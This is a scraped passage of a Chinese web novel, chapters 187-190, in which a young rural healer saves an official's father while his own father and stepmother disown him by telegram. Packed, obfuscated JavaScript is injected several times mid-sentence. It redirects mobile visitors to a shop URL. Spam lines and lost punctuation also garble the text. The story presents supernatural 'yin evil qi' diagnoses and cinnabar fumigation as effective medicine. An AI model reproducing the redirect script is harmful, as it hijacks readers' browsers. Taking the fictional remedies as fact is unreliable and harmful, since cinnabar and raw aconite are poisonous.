江东山一个激灵,冷汗瞬间又冒了出来,他慌忙摆手,声音都变了调:“部长,我……我真的不知道!那和我学了点,但是具体,我……我……” 他语无伦次,生怕对方误会自己藏着掖着。 江部长却没再追问,只是端起茶杯,轻轻吹了吹浮沫。 “吃饭吧,菜要凉了。” 江部长不再说话,却让江东山的心七上八下,怎么也落不到实处。 这顿饭,他吃得食不知味,如坐针毡。 饭局结束,江部长没有再提半个字关于江沐的事,只是让徐建军把他送回去。 坐在返回医院的轿车里,江东山望着窗外飞速**的街景,脑子里乱成了一锅粥。 他想破了脑袋,也想不通,那位高高在上的江部长,为何会对自己那个儿子,产生如此大的兴趣? 车刚在医院门口停稳,徐建军那张毫无表情的脸转向他。 “江副院长,到了。” “谢……谢谢徐同志。”江东山几乎是手脚并用地爬下了车。 黑色轿车没有片刻停留,调转车头,绝尘而去。 车内,徐建军通过后视镜看了一眼后座闭目养神的男人。 “部长,这个江东山……” “一个被生活磨平了脊梁的可怜人罢了。”江部长眼睛都未睁开,声音里透着洞察世事的疲惫,“回我那一趟,你直接过去。我已经跟老二打过招呼了,让他配合你,把老爷子连夜送去陕州。” “是!”徐建军干净利落地应下。 半小时后,徐建军的车停在了一座警卫森严的四合院门口。 院内,一个同样穿着军装,但眉宇间与江部长有几分相似的中年男人早已等候多时,正是江家的老二。 “建军同志,都准备好了。”江老二神色凝重,指了指里屋。 徐建军点点头,大步流星地走了进去。 里屋的床上,躺着一位形容枯槁的老人,双目紧闭,面色灰败,即便是在沉睡中,呼吸间也带着若有若无的腐朽气息。 没有丝毫犹豫,徐建军弯下腰,用一种极其专业而平稳的姿势, 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 将老人连带着被褥一起抱了起来。 江老二立刻上前搭手两人合力将老人小心翼翼地抬出稳稳地放在了轿车的后座上。 汽车再次启动一路畅通无阻 夜幕下一架军用直升机早已待命巨大的螺旋桨卷起狂风吹得人睁不开眼。 徐建军和江老二再次合力将老人从车上转移到了直升机的机舱内。 舱门关闭直升机拔地而起化作一个黑点消失在京城的夜色之中直奔陕州方向。 …… 另一边江东山失魂落魄地回到办公室刚坐下门就被人推开了。 苏红霞提着那个没送出去的饭盒满脸煞气地冲了进来。 “江东山!你长本事了啊!大中午的跟个野男人上车就走连个屁都不放!你知不知道我跟儿子在家等你吃饭?” 尖利的声音刺得江东山耳膜生疼他本就烦乱的心情此刻更是被点燃了。 “你小点声!”他难得地吼了一句。 苏红霞被他吼得一愣随即柳眉倒竖双手叉腰战斗力瞬间爆表:“哟呵?你还敢吼我了?说!那个穿军装的是谁?是不是你在外面惹了什么麻烦人家找上门了?” 江东山疲惫地捏了捏眉心他知道这事要是不说清楚苏红霞能闹得整个医院都知道。 “不是惹了麻烦”他声音沙哑“是……是江部长找我。” “江部长?”苏红霞的声音拔高了一些“哪个江部长?” “还能是哪个……” 苏红霞倒吸一口凉气脸上的怒气瞬间被惊疑取代:“他……他找你干什么?你这种小角色怎么可能惊动那种大人物?” “他问我……江沐的事。” “江沐?”苏红霞的眼珠子飞快地转动起来她那精于算计的大脑瞬间将所有线索串联了起来“江沐?江部长?难道说……是江部长的家人病了?” 她猛地一拍大腿声音又急又快:“我听街道王大妈说江部长的老父亲前段时间得了怪病京城所有的大夫都束手无策!好你个江东山肯定是江沐那小兔崽子在乡下吹牛吹破了天说他能治结果人家顺藤摸瓜找到了你!” 江东山心里一咯噔虽然觉得匪夷所思但似乎……也只有这个解释了。 “不可能”他下意识地反驳“那小子连感冒药都认不全他能治什么病?” “不可能?!”苏红霞冷笑一声指着江东 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 山的鼻子,“你别忘了你那个好儿子是什么德行!眼高手低,胆大包天!为了出风头,有什么事是他不敢干的?这要是治好了还好说,要是治坏了,那可是通天的大祸!咱们全家都得跟着他陪葬! 江东山脸色惨白,嘴唇哆嗦着:“那……那怎么办? “怎么办?撇清关系!立刻!马上!。 “江东山我告诉你,这件事要是处理不好,不光你我的前途完了,就连咱们守成的前途也全完了! 听到二儿子的名字,江东山浑身一颤,那是他如今唯一的指望,也是他心底最柔软的软肋。 苏红霞见他神情动容,立刻趁热打铁:“你现在犹豫,就是拿守成的未来在赌!你赌得起吗?江沐本来就跟咱们不亲,为了他一个,搭上我们娘俩,搭上守成的一辈子,你甘心吗?! “我……江东山痛苦地闭上了眼睛,额头上青筋暴起。 一边是几乎被他遗忘,只有愧疚牵连的长子,一边是朝夕相处、寄予厚望的妻子和幼子。 这道选择题,他只挣扎了不到十秒钟。 “……你看着办吧。他像是被抽干了所有力气,瘫倒在椅 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778523|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子上。 “这还像句人话!苏红霞得到了想要的答案,立刻雷厉风行地行动起来。 她抓起桌上的电话,直接打到了邮电局,用最快的速度,拟了一份断绝关系的电报,发往陕州邹县青莲公社,收件人,江沐。 逆子江沐,在外招摇撞骗,惹下滔天大祸,自今日起,断绝父子关系,此后生死祸福,各不相干! 为了让这件事人尽皆知,做得更绝,她挂了电话,又马不停蹄地跑到派出所,托了关系,硬是开了一张断绝关系的证明。 拿着那张盖着鲜红印章的证明,苏红霞的心才算彻底落了地。 这下,就算江沐真的捅破了天,也有这张纸给他们家作证! …… 京城。 江部长刚回到家,秘书就递上了一份刚刚收到的消息。 “断绝关系?还发了电报,去了派出所? 他脸上的表情有些精彩。 他见过太多人情冷暖,可像江东山夫妇这般,反应如此迅速,手段如此决绝的,倒也少见。 这已经不是简单的趋利避害了,这是彻头彻尾的凉薄。 他沉默片刻,拿起桌上的红色电话机,直接拨通了一个军用专线。 电话很快接通,传来江援朝沉稳的声音。 “三哥。 “援朝 听说看这本书的人都是很幸运的,分享后你的运气会更棒 ,听着。”江部长的声音不带情绪,“父亲已经动身了,由徐建军护送,乘坐直升机,预计三小时后抵达陕州军区机场,你们去接一下。” “是!”江援朝的声音里透着激动。 “还有一件事,”江部长顿了顿,“就在刚才,江沐的父亲江东山,和他继母苏红霞,给江沐发了一份电报,公开宣布与他断绝父子关系。” 电话那头,瞬间陷入了死一般的寂静。 过了许久,江援朝才从牙缝里挤出几个字:“……为什么?” “具体原因,你们自己去问那个小同志吧。” 江部长挂断了电话,看着窗外的夜色,轻轻叹了口气。 陕州,青莲公社。 江援朝放下电话,脸色铁青,他看向一旁的孙文杰,将刚刚听到的消息复述了一遍。 孙文杰那张总是挂着温和笑容的脸,也瞬间凝固了。 “断绝关系?在这个节骨眼上?”他喃喃自语,眼中满是不可思议,“临阵换将乃兵家大忌,这临阵断亲……简直是闻所未闻!” 院子里,晚风****,气氛却压抑得让人喘不过气。 两人对视一眼,都从对方眼中看到了同样的问题。 这件事,要不要告诉江沐? 告诉他,怕他心神大乱,影响接下来的诊治。 不告诉他,万一这封电报先一步到了公社,被别人宣扬开来,对他的打击只会更大! “必须告诉他。”最终,还是江援朝做出了决断,他一拳砸在桌上,“我请的是顶天立地的大夫,不是温室里的花朵!如果他连这点打击都承受不住,那我也信不过他能救我父亲的命!” 第187章 路是自己选的,怨不得别人 三个小时后,巨大的轰鸣声撕裂了陕州军区的夜空。 一架军用直升机在探照灯的光柱中,卷起漫天狂风,稳稳降落在停机坪上。 早已等候在此的孙文杰和江援朝立刻迎了上去。 舱门打开,徐建军那**不变的冰山脸出现在门口,他身后,几名医护人员小心翼翼地将一副担架抬了出来。 担架上,江老爷子双目紧闭,呼吸微弱,那股腐朽的气息仿佛凝成了实质,让周围的空气都变得沉重。 江援朝一个箭步冲过去。 “路上平稳,老爷子情况没有恶化。”徐建军言简意赅,目光落在孙文杰身上,“地方安排好了?” “安排好了!”孙文杰立刻点头,“离这不远的一处独立小院,绝对安静,也绝对安全。” 一行人不敢耽搁,迅速将老爷子转移到早已备好的救护车上,一路疾驰,住进了那处戒备森严的小院。 安顿好一切,又让厨房准备了些简单的吃食,忙完已是后半夜。 孙文杰看着江援朝布满血丝的双眼,拍了拍他的肩膀:“先休息吧,明天……还有一场硬仗要打。” 江援朝没有作声,只是死死盯着老爷子沉睡的脸,拳头攥得咯吱作响。 而此刻的青莲公社,江沐的院子里,却飘散着一股与这份紧张截然不同的、霸道的肉香。 他用泥巴糊了个简易的土窑,将劈好的木柴在里面点燃,等烧透了,再用水浇灭,捂在里面。 这是最原始的制炭方法,虽然烟火气大了些,但烤出来的东西,却带着一股果木的清香。 此刻,几块肥瘦相间的猪肉被他用削尖的树枝穿着,架在烧得通红的木炭上,油脂滴落在炭火上,激起一簇簇火苗,也将那股诱人的焦香,送出了老远。 “我的乖乖!江沐你小子这是在做啥好东西?” 人未到,声先至。 李有柱循着味儿就摸了过来,他使劲嗅了嗅,馋得直吞口水,“光闻着这味儿,俺就知道肯定好吃!” “姑父来了,”江沐抬眼笑了笑,将一串烤得金黄的递了过去,“尝尝?” 李有柱也不客气,接过来就往嘴里送,烫得他直嘶哈,却怎么也舍不得吐出来。 “香!真**香!”他含糊不清地赞叹着,三两口就干掉了一串。 院子里,陈小军和几个相熟的知青早就围坐一圈,人手一串,吃得满嘴流油。 这个年代,能见到荤腥已是难得,更别提这种滋味浓郁的烤肉了, 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 对他们而言,不亚于后世的满汉全席。 几杯劣质的苞谷酒下肚,李有柱的话匣子也打开了。 他突然一拍大腿:“对了江沐,下午的时候,那个新来的叫赵倩的女知青来找我了。” “哦?她找你做什么?”江沐随口问着,手上熟练地翻动着肉串。 “哼,城里来的女娃子,就是花花肠子多!”李有柱撇了撇嘴,一脸不屑,“她跟我说,看村里的娃子们大字不识一个,想在村里办个识字班,当老师教娃子们读书。这不是扯淡吗?俺看她就是不想下地挣工分,变着法儿的偷懒!” “当老师?”江沐的动作顿了一下,抬起头,目光里多了几分认真,“这是好事啊。” “好啥啊?”李有柱不以为然。 “李队长,你想想,咱们大队里,除了知青,有几个会写自己名字的?”江沐的声音平静却有力,“再过十年二十年,难道还让咱们的孩子们,继续当睁眼瞎的文盲吗?” 文盲两个字一出,李有柱脸上的不屑瞬间凝固了。 对啊,他自己就是个大老粗,开会做报告都得让文书代笔,那种憋屈,他比谁都清楚。 他当时光顾着觉得赵倩是想偷懒,想都没想就给人家顶了回去,现在**沐这么一点,顿时悔得肠子都青了。 “坏了!”他一拍脑门,“俺当时直接把人给骂走了,说她不切实际。这……这可咋办?” 江沐笑了笑:“这有什么难的。咱们这穷乡僻壤的,谁会天天盯着?你觉得是好事,那就去做。上面查起来,就说是为了响应扫盲号召,谁也说不出个错来。” “可……”李有柱又犹豫了,“把娃子们送去读书,一天就少了一半的劳动力,挖猪草、捡粪、割牛草……哪样不要人?社员们怕是没几个愿意的。” “那就让他们自己选。”江沐的眼神淡然,“谁愿意让自家孩子当一辈子文盲,那谁也拦不住。路是自己选的,怨不得别人。” 这话说得轻描淡写,却透着一股让人无法反驳的道理。 李有柱猛地站了起来。 “你说的对!这事儿,俺得去找高**说道说道!不能让咱们青莲公社的根,烂在土里!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778524|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >说完,他风风火火地就走了,连烤肉都忘了再拿一串。 第二天上午,阳光正好。 江沐正在院子里整理他那些宝贝草药,一辆熟悉的吉普车停在了门口。 孙文杰和江援朝从车上走了下来,两人的神色都有些凝重,眼底带着难以掩饰的疲惫 如果喜欢本书请记得和好友讨论本书精彩情节,才有更多收获哦 。 “江沐兄弟。”孙文杰先开了口,声音有些干涩,“人……已经接到了。不知你今天,方不方便过去看看?” “随时可以。”江沐点点头,放下手中的草药,拍了拍手上的土。 他看得出,这两人状态不对。 坐上颠簸的吉普车,车内的气氛压抑得可怕。 车子开出公社,驶上土路,孙文杰几次欲言又止,最终还是长叹一口气,像是下定了某种决心。 “江沐兄弟,有件事……我们觉得必须得让你知道。” 江沐转过头,静静地看着他。 孙文杰的脸上满是歉意,他艰难地组织着语言:“事情的起因,说来……有些复杂,也有些……荒唐。援朝的大哥,也就是江部长,因为担心老爷子的病情,就派人……调查了一下你的情况。” 江沐的眉梢微微一挑,心中已然有了不好的预感。 “然后呢?” “然后……他们查到了你父亲江东山。江部长……昨天中午,亲自去见了他一面,只是想从侧面了解一下你的情况,看你是否真的有家学渊源。” 孙文杰的声音越来越低,他不敢去看江沐的眼睛。 “结果……就在昨天下午,你父亲江东山,和你继母苏红霞,给你发了一份电报,同时,还在派出所开具了证明……” 他停顿了一下,似乎接下来的话重若千钧。 “他们……公开宣布,与你断绝父子关系。” 然而,听了这话,江沐脸上的表情没有丝毫变化,甚至连眼皮都没多眨一下。 他甚至不用想,都能猜到苏红霞那张因为得计而扭曲的脸,和江东山那副懦弱又痛苦的表情。 可笑,又可悲。 “江沐同志,对不起!” “此事因我而起,若不是我们冒然接触,就不会发生这种事!你要打要骂,我都受着!任何补偿,只要我江家拿得出来,你尽管开口!” 江援朝开口道。 第188章 江沐同志,你就是神医 可江沐只是将目光从窗外飞速**的黄土坡上,缓缓收了回来,落在了江援朝那依旧僵直的脊背上。 江援朝继续道,“江沐同志,这件事……” “与你们无关。”江沐打断了他,语气平铺直叙,“从我被那个女人塞上开往下乡的火车那一刻起,这份电报,就只是时间问题。” “何况,江东山现在所拥有的一切,从副院长的位子到那套还算宽敞的房子,哪一样不是苏家给的?断了我这个前妻留下的污点,他才能坐得更安稳。这笔账,他算得清,苏红霞……算得更清。” 这番话,他说的云淡风轻,却听得孙文杰和江援朝心头巨震。 这得是经历了多少失望,才能把亲情剖析得如此鲜血淋漓,却又如此冷静? 江援朝的拳头捏得更紧了,他咬着牙,一字一句迸出:“话虽如此,但终究是我们引爆了这件事!江沐同志,你只要一句话,我无论如何也得让他们登门,跪着求你原谅!” “跪着?”江沐像是听到了什么笑话,轻轻摇了摇头,眼底的漠然更深了,“不必了。对我而言,他们已经是**了。” 一句话,不是恨,不是怨,而是彻底的无视。 这比任何激烈的反应,都更让江援朝感到敬佩。 他张了张嘴,所有准备好的道歉和补偿,在**这两个字面前,都显得那么苍白无力。 剩下的路程,在一种诡异的沉寂中度过。 吉普车最终拐进了一条隐蔽的小路,在一座青砖灰瓦的高墙大院前停下。 门口,站着两个荷枪实弹的卫兵。 这里,就是陕州军区专门辟出来的一处独立小院。 一个身材挺拔,穿着一身军装,眉眼间与江援朝有三分相似,却更显沉稳的中年男人快步迎了出来。 他眼下的乌青浓重,显然也是一夜未眠。 “援朝,孙叔。”他先是打了声招呼,目光立刻锁定了江沐,带着审视,“这位就是……” “二哥,这位就是江沐同志。”江援朝立刻介绍,“江沐同志,这是我二哥,江志勇。” 江沐朝他微微颔首:“江志勇同志。” “江沐同志,辛苦你了。”江志勇没有多余的客套,直接侧身引路,“家父的情况……不太好。请。” 一行人穿过院子,走进主屋。 一股浓重的中药味混合着某种说不清的腐朽气息,扑面而来。 房间里,一个穿着白大褂的老军医正满脸愁容地守在床边。 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 江沐的目光,却第一时间落在了床上那位老人的身上。 只一眼,他的瞳孔便微微一缩。 那哪里还是一个人? 分明就是一具即将风干的古尸! 老人瘦得皮包骨头,皮肤像是失去水分的枯树皮,紧紧地贴在骨骼上,呈现出一种诡异的灰败色。 双颊深陷,嘴唇干裂发黑,若不是胸口还有微不可查的起伏,任谁都会以为这只是一具被摆放在此的尸体。 江志勇看到江沐凝重的神色,心也跟着沉了下去。 然而江沐并未立刻上前,只是站在原地,仔仔细细地打量着老人的面色、神态,甚至是指甲的颜色。 望诊。 片刻后,他才缓缓开口,声音打破了室内的死寂。 “有刚换下来的,沾了他血迹的纸巾或者床单吗? “有!有!江志勇连忙转身从旁边的一个盆里,用镊子夹起一块刚刚擦拭过老人嘴角血沫的纱布。 江沐接了过来,并没有看上面的血色,而是将纱布凑到鼻尖,轻轻一嗅。 一股仿佛陈年腐草被水浸泡后,又在阴暗角落里发酵的味道,钻入鼻腔。 “阴邪秽气,已入脏腑。 接着,他走到床边,俯下身,对着老人的耳朵轻声呼唤:“江老,能听见我说话吗? 床上那具干尸的眼皮,竟奇迹般地颤动了一下,喉咙里发出声响,却一个字也吐不出来。 但这微弱的反应,已经让江志勇和江援朝兄弟俩激动得热泪盈眶! 自从老爷子昏迷后,无论他们怎么呼唤,都再也没有得到过任何回应! 江沐直起身,检查结束。 “江沐同志,我父亲他……能治吗?江志勇的声音都在发颤,这是他最后的希望了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778525|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>江沐转过身,对上他期盼的眼神,平静地点了点头。 “能治。 “不过,江沐话锋一转,“老爷子前段时间去祭扫故人,是不是心里压着极重的陈年心事,一直郁结于怀? 江志勇的眼睛猛地瞪大,失声惊呼:“你怎么知道?!家父前不久刚去给他牺牲多年的老战友扫墓,回来后就一直念叨着当**,心情很是低落! 这下,不止是江志勇,连旁边的老军医和孙文杰都倒吸一口凉气! 这……这就看出来了?简直神了! 【叮!收获来自江志勇的敬佩与感激,声望值+150!】 脑海中,系统的提示音一闪而过。 你的朋友正在书荒,快去帮帮他吧 “那就没错了。”江沐解释起来,“陵园那地方,本就阴气重。老爷子年事已高,又心事郁结,身心俱疲之下,阳气大亏,被阴邪之气趁虚而入,这才导致了阴疰尸厥之症。” 一番话说得条理清晰,鞭辟入里,与老爷子发病前的所有情况严丝合缝! 江志勇再无半点怀疑,他一个箭步上前,紧紧抓住江沐的手,激动得语无伦次:“神医!江沐同志,你就是神医!只要你能救活我父亲,你要什么,我们江家给什么!绝不二话!” “江同志先别激动。”江沐抽回手,神色依旧冷静,“这个病,拖得太久,邪气已经伤了根本。治疗起来,需要很长的时间。而且……即便治好了,恕我直言,老爷子耗损的生机也难以完全补回,最多……只有两年阳寿。” “什么?两年?” 刚刚燃起的希望之火,仿佛被一盆冷水当头浇下。 江志勇的脸色瞬间煞白,急切地追问:“难道……难道就没有两全其美的办法?能让家父多活几年?” 江沐的目光深邃了几分。 “办法……倒也不是没有。”他缓缓开口,“中医古方之中,确有几味能固本培元、延年益寿的药方,只不过……方中所用的药材,都极为罕见,可遇而不可求。” “只要有就行!”江志勇像是抓住了最后一根救命稻草,“无论多罕见,需要什么,您尽管开口!上天入地,我们兄弟俩也给您找来!” 第189章 务必核对三遍! “好。”江沐不再多言走到桌边拿起纸笔“饭要一口口吃路要一步步走。你们先去准备一些苍术、皂角、朱砂碾成粉末每日在房中点燃用以驱邪避秽。另外……” 他笔走龙蛇很快在纸上写下了一副药方。 “按这个方子抓药先稳住老爷子的生机。” 江沐将写满字迹的药方递过去指尖在纸上轻轻点了点。 “方子你拿好严格按照上面的克重抓药一分一毫都不能错。” “特别是里面的附子和生半夏都是剧毒之物剂量稍有差池就是救命变索命。先抓七天的量一周后我再根据老爷子的情况调整。” 这番话听得江志勇心头一凛。 他双手接过那张薄薄的纸只觉得重若千钧。 这哪里是药方这分明是老爷子的命! “我明白!”他重重点头没有丝毫怀疑转身便将药方交给了身后的徐建军“建军你亲自去!用最快的速度把药抓回来!务必核对三遍!” “是!”徐建军领命转身大步流星地离去。 房间里再次安静下来江志勇搓着手看着江沐走到床边从随身携带的布包里摊开了一排长短不一、寒光闪闪的银针。 “江沐同志 江沐指尖捻起一根细如牛毛的银针头也不抬目光专注地落在老人干瘪的穴位上。 “祛邪治标一周可见大效。扶正固本至少一月。” 话音未落他手腕一抖银针已稳稳刺入老人头顶的百会穴针尾微颤发出一阵细微的嗡鸣。 江志勇和江援朝兄弟俩屏住了呼吸连眼睛都不敢眨一下。 只见江沐的手指翻飞一根根银针精准地刺入神庭、印堂、人中……他下针的动作行云流水没有半分迟滞。 一套针法施展完毕几人走出房间将空间留给静养的老人。 院子里的空气清新了许多江志勇长长地吐出一口浊气紧绷的神经终于松弛了几分。 他看向江沐眼神里充满了远超感激的敬畏。 “江沐同志以后……你就喊我二哥吧。”他语气诚恳“你家里的事援朝都跟我说了。是我们江家考虑不周给你添了**烦。你放心回头我就让老大亲自去一趟你们家把事情跟他们解释清楚!” 他口中的老大自然是江家如今地位最高的那位江部长。 谁知江沐只是淡 听说和异性朋友讨论本书情节的,很容易发展成恋人哦 淡地瞥了他一眼,那眼神古井无波。 “不必了,江二哥。”他用了新的称呼,却是在拒绝,“对我来说,那边的人和事,都已是坟头的尘埃,没必要再拂动。” 这话说得太绝,也太凉。 江志勇心头巨震,一时间竟不知该如何接话。 一个小时后,针灸时间到。 江沐回到屋中,将银针一一取下。 与此同时,徐建军也提着大包小包的中药,气喘吁吁地跑了回来。 江沐让人在屋里点燃了研磨好的苍术和皂角粉末,一股奇异的药香瞬间弥漫开来,驱散了那股腐朽的气息。 他又亲自检查了一遍抓回来的药材,确认无误后,才详细交代了熬药的火候、水量和时间。 一碗黑褐色的药汁,被小心翼翼地灌进了老人的口中。 所有人都守在床边,时间仿佛被无限拉长。 两个小时后,奇迹发生了。 床上那具一直如同干尸般毫无生气的老人,喉结滚动了一下,那双浑浊的眼睛,竟缓缓地,撑开了一条缝! 尽管眼神依旧涣散,气息微弱,但那确确实实是清醒的迹象! “爸!” “爸您醒了!” 江志勇和江援朝跪在了床边,两个铁打的汉子,此刻泪如雨下,哭得像个孩子! “好了,让老爷子静养。”江沐的声音适时响起,打破了这激动的氛围,“先把这一个疗程的药吃完,接下来一周,你们每天这个时间派车来接我,我需要每日为他施针。另外,老爷子醒来后,切记饮食清淡,一碗米粥足矣,万不可大补。” “是!是!全听您的!”江志勇连忙抹掉眼泪, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778526|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 站起身来,对江沐的话奉若纶音。 …… 回去的路上,依旧是江援朝和孙文杰开车相送。 而军区小院里,江志勇立刻拨通了一个加密电话。 “大哥!爸醒了!爸他睁开眼了!”电话一接通,他就激动地喊了起来。 电话那头沉默了片刻,随即传来一个沉稳如山,却带着颤抖的男声。 “你说什么?再说一遍!” “爸醒了!江沐同志真是神医!他只用了一副药,一套针,爸就醒过来了!” “好!好!好!”电话那头的男人连说三个好字,声音里是压抑不住的狂喜,“志勇,你听着!从现在开始,不惜一切代价,满足江沐同志的所有要求!务必照顾好父亲,也照顾好我们的恩人!” “我明白,大哥!” “另外……”男人的声音陡然转冷,带着一股肃杀之气,“派人去查!查那个江东山,还有他的老婆,以及她背后的苏家!我倒要看看,是什么样的人家,能养出神医,又能狠心将这样的麒麟儿弃如敝屣!” “是!” …… 夜色深沉,江东山下班后,连家都没敢回,就被苏红霞拉着,两人神色忐忑地敲响了另一栋楼的房门。 开门的是苏红霞的父亲,苏志。 一进门,不等两人开口,一个搪瓷茶杯就被狠狠地摔在了他们脚下,滚烫的茶水溅了江东山一裤腿。 “你们两个蠢货!” 苏志指着两人的鼻子破口大骂,一张脸涨成了猪肝色。 “断绝关系就断绝关系,谁让你们发电报?还闹得沸沸扬扬,让江家那边直接捅了上去!现在整个军区大院都知道了!我的脸都被你们丢尽了!” 苏红霞吓得一哆嗦,脸上强堆着笑,连忙上前解释。 “爸,你听我说,这事不怪我们啊!是江沐那个小畜生!是他不知天高地厚,在乡下惹是生非,冲撞了江家那位正在养病的老爷子!江家以为是我们指使的,这才迁怒于我们,我们也是被逼无奈,才出此下策自保啊!” 第190章 这件事情,有猫腻! 屋内的空气,仿佛都因这番话而凝滞了几分。 苏志那张脸,慢慢恢复了些许血色,但眉头却拧成了一个疙瘩。 他沉默着,手指在沙发扶手上不耐烦地敲击着,发出闷响,敲得人心头发慌。 他不是傻子,自然听得出女儿话里的漏洞百出。 什么叫不知天高地厚,冲撞了老爷子?一个乡下知青,哪来的通天本事去冲撞那种级别的人物? 但他更明白,此刻追究真相毫无意义。 事情已经发生了,脸,已经丢出去了。 “蠢!愚不可及!苏志终于开了口,声音里透着一股子压抑的怒火,“就算要划清界限,办法多的是!谁让你们用发电报这种方式?生怕别人不知道吗?现在好了,整个军区大院都在看我们苏家的笑话! 他猛地一拍扶手,把苏红霞吓得又是一个哆嗦。 “爸,我……我也是一时情急…… “你闭嘴! 不等苏红霞辩解完,一个尖利的声音从里屋传了出来。 苏红霞的母亲从屋子里走了出来。 苏女一双三角眼,先是刀子似的刮过一直沉默不语的江东山,眼神里的鄙夷和嫌恶几乎要溢出来。 “我看红霞做得没错!那种养不熟的白眼狼,就该早早断干净!要不是他,我们家会被人指着脊梁骨骂?要不是他,哪里会有这么多麻烦? 这苏母,显然是苏红霞的铁杆后盾。 当年把江沐弄去乡下,就是她给女儿出的主意。 “你别跟着掺和了!苏志有些头疼。 而自始至终,江东山就像个木雕泥塑的人,瘫坐在沙发里,任凭滚烫的茶水浸湿裤腿,任凭岳母的眼刀凌迟,他都一言不发,甚至连头都未曾抬起一下。 那副窝囊的样子,让苏母心里的火气一下就冒了三丈高。 “你看看他那副**样子!她伸出枯瘦的手指,几乎要戳到江东山的鼻梁上,“我女儿真是瞎了眼才跟了你!家里家外,屁都放不出一个!儿子被你前妻的种欺负,你连个声都不敢吭!废物! 苏红霞见状,赶紧拉着老太太进了厨房,嘴里劝着:“妈,您少说两句,饭菜快好了。 客厅里,只剩下苏志和江东山两个男人。 苏志看着这个女婿,真是气不打一处来。 他走到江东山面前,居高临下地俯视着他。 “江东山,你好歹也是个大医院的副院长,能不能给老子把腰杆挺起来?家里的事,你 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 一个大男人就任由她们娘俩摆布?” 江东山闻言终于有了反应。 他抬起头脸上挤出一个比哭还难看的笑容甚至带着几分谄媚。 “爸教训的是是我没用让你们跟着操心了……” “你!” 苏志一口气堵在胸口差点没上来。 他算是看明白了跟这滩烂泥说什么都是对牛弹琴! 他失望地摆摆手懒得再看江东山一眼目光转向了沙发另一头坐着的两个年轻人——江守成和江耀祖。 “守成耀祖过来到外公这儿来。” 苏志的脸色瞬间由阴转晴对着两个小辈露出了和蔼的笑容。 江守成眼睛一亮连忙凑了过去。 “外公您找我?” “嗯守成啊去机修厂上班这段时间感觉怎么样?有没有人欺负你?”苏志的语气里满是关切。 “没有没有!”江守成挺了挺胸脯一脸得意“谁敢欺负我啊?他们都知道我外公是您啊!” 他又眼珠一转凑到苏志耳边嬉皮笑脸地央求。 “外公您看我这上班也得有一阵子了能不能……给弄辆自行车票?” “臭小子!”苏志笑骂了一句 他拍了拍江守成的肩膀压低了声音。 “你外婆啊早就给你相好了一个姑娘是纺织厂厂长的女儿人长得水灵家庭成分也好。找个时间你们见一面。” 一直被当成空气的江东山猛地开口。 “爸守成他还小这事是不是太早了点……” “小?”苏志的脸瞬间又沉了下来眼睛一瞪“哪里小了?都二十了!再过两年就成老光棍了!这事就这么定了!” 他的声音不大却带着不容反驳的决断彻底堵**江东山所有的话。 恰在此时苏红霞和苏母端着热气腾腾的菜从厨房走了出来。 “开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16778527|190317||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 饭咯!守成快来尝尝你最爱吃的红烧肉!” 饭菜上桌一家人其乐融融话题全都围绕着江守成的新工作、新自行车还有即将到来的相亲。 